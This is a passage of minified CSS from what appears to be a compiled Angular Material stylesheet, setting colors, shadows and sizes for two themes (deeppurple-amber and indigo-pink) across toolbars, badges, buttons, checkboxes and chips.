.mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeppurple-amber-theme .mat-toolbar{background:whitesmoke;color:#000000de}.deeppurple-amber-theme .mat-toolbar.mat-primary{background:#673ab7;color:#fff}.deeppurple-amber-theme .mat-toolbar.mat-accent{background:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.deeppurple-amber-theme .mat-toolbar .mat-form-field-underline,.deeppurple-amber-theme .mat-toolbar .mat-form-field-ripple,.deeppurple-amber-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.deeppurple-amber-theme .mat-toolbar .mat-form-field-label,.deeppurple-amber-theme .mat-toolbar .mat-focused .mat-form-field-label,.deeppurple-amber-theme .mat-toolbar .mat-select-value,.deeppurple-amber-theme .mat-toolbar .mat-select-arrow,.deeppurple-amber-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.deeppurple-amber-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.mat-toolbar-multiple-rows{min-height:64px}.mat-toolbar-row,.mat-toolbar-single-row{height:64px}@media (max-width: 599px){.mat-toolbar-multiple-rows{min-height:56px}.mat-toolbar-row,.mat-toolbar-single-row{height:56px}}.deeppurple-amber-theme .mat-tooltip{background:rgba(97,97,97,.9)}.deeppurple-amber-theme .mat-tree{background:white}.deeppurple-amber-theme .mat-tree-node,.deeppurple-amber-theme .mat-nested-tree-node{color:#000000de}.mat-tree-node{min-height:48px}.deeppurple-amber-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeppurple-amber-theme .mat-simple-snackbar-action{color:#ffa000}.deeppurple-amber-theme a:link,.deeppurple-amber-theme a:visited{color:#ffb300;text-decoration:none}.deeppurple-amber-theme a:hover,.deeppurple-amber-theme a:focus,.deeppurple-amber-theme a:active{text-decoration:underline}.deeppurple-amber-theme a{outline:none}.deeppurple-amber-theme .confirmation{color:#ffa000}.deeppurple-amber-theme .ribbon:before{border:5px solid #ffa000}.deeppurple-amber-theme .ribbon span{background-color:#ffa000}.deeppurple-amber-theme .error{color:#f44336}.deeppurple-amber-theme .ribbon-sold:before{border:5px solid #f44336}.deeppurple-amber-theme .ribbon-sold span{background-color:#f44336}.deeppurple-amber-theme .primary-notification{background-color:#512da8}.deeppurple-amber-theme .accent-notification{background-color:#ff8f00}.deeppurple-amber-theme .warn-notification{background-color:#d32f2f}.deeppurple-amber-theme .img-thumbnail{background-color:#673ab70d;border:1px solid #673ab7;border-radius:3px;padding:3px}.deeppurple-amber-theme .empty-star{stop-color:#673ab7}.deeppurple-amber-theme .filled-star{stop-color:#ffa000}.deeppurple-amber-theme .star-border{stroke:#ffa000}.deeppurple-amber-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.deeppurple-amber-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.deeppurple-amber-theme .mat-snack-bar-container.confirmBar{color:#ffa000!important}.deeppurple-amber-theme .google-button{background-color:#ff8f00!important}.deeppurple-amber-theme .deluxe-membership{background:linear-gradient(90deg,#673ab7 0%,white 100%)}.deeppurple-amber-theme .overlay{background:rgba(81,45,168,.7)}.indigo-pink-theme{--theme-primary: #3f51b5;--theme-primary-lighter: #5062c2;--theme-primary-light: #606fc7;--theme-primary-darker: #37479e;--theme-primary-dark: #32408f;--theme-primary-fade-10: rgba(63, 81, 181, .9);--theme-primary-fade-20: rgba(63, 81, 181, .8);--theme-primary-fade-30: rgba(63, 81, 181, .7);--theme-primary-fade-40: rgba(63, 81, 181, .6);--theme-primary-fade-50: rgba(63, 81, 181, .5);--theme-accent: #ff4081;--theme-accent-lighter: #ff5f95;--theme-accent-light: #ff73a3;--theme-accent-darker: #ff216d;--theme-accent-dark: #ff0d5f;--theme-accent-fade-10: rgba(255, 64, 129, .9);--theme-accent-fade-20: rgba(255, 64, 129, .8);--theme-accent-fade-30: rgba(255, 64, 129, .7);--theme-accent-fade-40: rgba(255, 64, 129, .6);--theme-accent-fade-50: rgba(255, 64, 129, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.indigo-pink-theme .mat-ripple-element{background-color:#0000001a}.indigo-pink-theme .mat-option{color:#000000de}.indigo-pink-theme .mat-option:hover:not(.mat-option-disabled),.indigo-pink-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.indigo-pink-theme .mat-option.mat-option-disabled{color:#00000061}.indigo-pink-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#3f51b5}.indigo-pink-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#ff4081}.indigo-pink-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.indigo-pink-theme .mat-optgroup-label{color:#0000008a}.indigo-pink-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.indigo-pink-theme .mat-pseudo-checkbox{color:#0000008a}.indigo-pink-theme .mat-pseudo-checkbox:after{color:#fafafa}.indigo-pink-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.indigo-pink-theme .mat-primary .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#3f51b5}.indigo-pink-theme .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-pseudo-checkbox-indeterminate,.indigo-pink-theme .mat-accent .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#ff4081}.indigo-pink-theme .mat-warn .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.indigo-pink-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.indigo-pink-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.indigo-pink-theme .mat-app-background,.indigo-pink-theme.mat-app-background{background-color:#fafafa;color:#000000de}.indigo-pink-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.indigo-pink-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.indigo-pink-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.indigo-pink-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.indigo-pink-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.indigo-pink-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.indigo-pink-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.indigo-pink-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.indigo-pink-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.indigo-pink-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.indigo-pink-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.indigo-pink-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.indigo-pink-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.indigo-pink-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.indigo-pink-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.indigo-pink-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.indigo-pink-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.indigo-pink-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.indigo-pink-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.indigo-pink-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.indigo-pink-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.indigo-pink-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.indigo-pink-theme .mat-autocomplete-panel{background:white;color:#000000de}.indigo-pink-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.indigo-pink-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.indigo-pink-theme .mat-badge{position:relative}.indigo-pink-theme .mat-badge.mat-badge{overflow:visible}.indigo-pink-theme .mat-badge-hidden .mat-badge-content{display:none}.indigo-pink-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.indigo-pink-theme .ng-animate-disabled .mat-badge-content,.indigo-pink-theme .mat-badge-content._mat-animation-noopable{transition:none}.indigo-pink-theme .mat-badge-content.mat-badge-active{transform:none}.indigo-pink-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.indigo-pink-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.indigo-pink-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.indigo-pink-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.indigo-pink-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.indigo-pink-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.indigo-pink-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.indigo-pink-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.indigo-pink-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.indigo-pink-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.indigo-pink-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.indigo-pink-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.indigo-pink-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.indigo-pink-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.indigo-pink-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.indigo-pink-theme .mat-badge-content{color:#fff;background:#3f51b5}.cdk-high-contrast-active .indigo-pink-theme .mat-badge-content{outline:solid 1px;border-radius:0}.indigo-pink-theme .mat-badge-accent .mat-badge-content{background:#ff4081;color:#fff}.indigo-pink-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.indigo-pink-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.indigo-pink-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.indigo-pink-theme .mat-button,.indigo-pink-theme .mat-icon-button,.indigo-pink-theme .mat-stroked-button{color:inherit;background:transparent}.indigo-pink-theme .mat-button.mat-primary,.indigo-pink-theme .mat-icon-button.mat-primary,.indigo-pink-theme .mat-stroked-button.mat-primary{color:#3f51b5}.indigo-pink-theme .mat-button.mat-accent,.indigo-pink-theme .mat-icon-button.mat-accent,.indigo-pink-theme .mat-stroked-button.mat-accent{color:#ff4081}.indigo-pink-theme .mat-button.mat-warn,.indigo-pink-theme .mat-icon-button.mat-warn,.indigo-pink-theme .mat-stroked-button.mat-warn{color:#f44336}.indigo-pink-theme .mat-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.indigo-pink-theme .mat-button.mat-primary .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#3f51b5}.indigo-pink-theme .mat-button.mat-accent .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#ff4081}.indigo-pink-theme .mat-button.mat-warn .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.indigo-pink-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.indigo-pink-theme .mat-button .mat-ripple-element,.indigo-pink-theme .mat-icon-button .mat-ripple-element,.indigo-pink-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.indigo-pink-theme .mat-button-focus-overlay{background:black}.indigo-pink-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.indigo-pink-theme .mat-flat-button,.indigo-pink-theme .mat-raised-button,.indigo-pink-theme .mat-fab,.indigo-pink-theme .mat-mini-fab{color:#000000de;background-color:#fff}.indigo-pink-theme .mat-flat-button.mat-primary,.indigo-pink-theme .mat-raised-button.mat-primary,.indigo-pink-theme .mat-fab.mat-primary,.indigo-pink-theme .mat-mini-fab.mat-primary,.indigo-pink-theme .mat-flat-button.mat-accent,.indigo-pink-theme .mat-raised-button.mat-accent,.indigo-pink-theme .mat-fab.mat-accent,.indigo-pink-theme .mat-mini-fab.mat-accent,.indigo-pink-theme .mat-flat-button.mat-warn,.indigo-pink-theme .mat-raised-button.mat-warn,.indigo-pink-theme .mat-fab.mat-warn,.indigo-pink-theme .mat-mini-fab.mat-warn{color:#fff}.indigo-pink-theme .mat-flat-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.indigo-pink-theme .mat-flat-button.mat-primary,.indigo-pink-theme .mat-raised-button.mat-primary,.indigo-pink-theme .mat-fab.mat-primary,.indigo-pink-theme .mat-mini-fab.mat-primary{background-color:#3f51b5}.indigo-pink-theme .mat-flat-button.mat-accent,.indigo-pink-theme .mat-raised-button.mat-accent,.indigo-pink-theme .mat-fab.mat-accent,.indigo-pink-theme .mat-mini-fab.mat-accent{background-color:#ff4081}.indigo-pink-theme .mat-flat-button.mat-warn,.indigo-pink-theme .mat-raised-button.mat-warn,.indigo-pink-theme .mat-fab.mat-warn,.indigo-pink-theme .mat-mini-fab.mat-warn{background-color:#f44336}.indigo-pink-theme .mat-flat-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.indigo-pink-theme .mat-flat-button.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-raised-button.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-fab.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-mini-fab.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-flat-button.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-raised-button.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-fab.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-mini-fab.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-flat-button.mat-warn .mat-ripple-element,.indigo-pink-theme .mat-raised-button.mat-warn .mat-ripple-element,.indigo-pink-theme .mat-fab.mat-warn .mat-ripple-element,.indigo-pink-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-stroked-button:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.indigo-pink-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-fab:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.indigo-pink-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.indigo-pink-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.indigo-pink-theme .mat-button-toggle{color:#00000061}.indigo-pink-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.indigo-pink-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.indigo-pink-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.indigo-pink-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.indigo-pink-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.indigo-pink-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.indigo-pink-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.indigo-pink-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.indigo-pink-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.indigo-pink-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.indigo-pink-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.indigo-pink-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.indigo-pink-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.indigo-pink-theme .mat-card{background:white;color:#000000de}.indigo-pink-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.indigo-pink-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-card-subtitle{color:#0000008a}.indigo-pink-theme .mat-checkbox-frame{border-color:#0000008a}.indigo-pink-theme .mat-checkbox-checkmark{fill:#fafafa}.indigo-pink-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.indigo-pink-theme .mat-checkbox-mixedmark{background-color:#fafafa}.indigo-pink-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#3f51b5}.indigo-pink-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#ff4081}.indigo-pink-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.indigo-pink-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.indigo-pink-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.indigo-pink-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.indigo-pink-theme .mat-checkbox .mat-ripple-element{background-color:#000}.indigo-pink-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.indigo-pink-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#3f51b5}.indigo-pink-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.indigo-pink-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ff4081}.indigo-pink-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.indigo-pink-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.indigo-pink-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.indigo-pink-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.indigo-pink-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip:after{background:black}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#3f51b5;color:#fff}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme 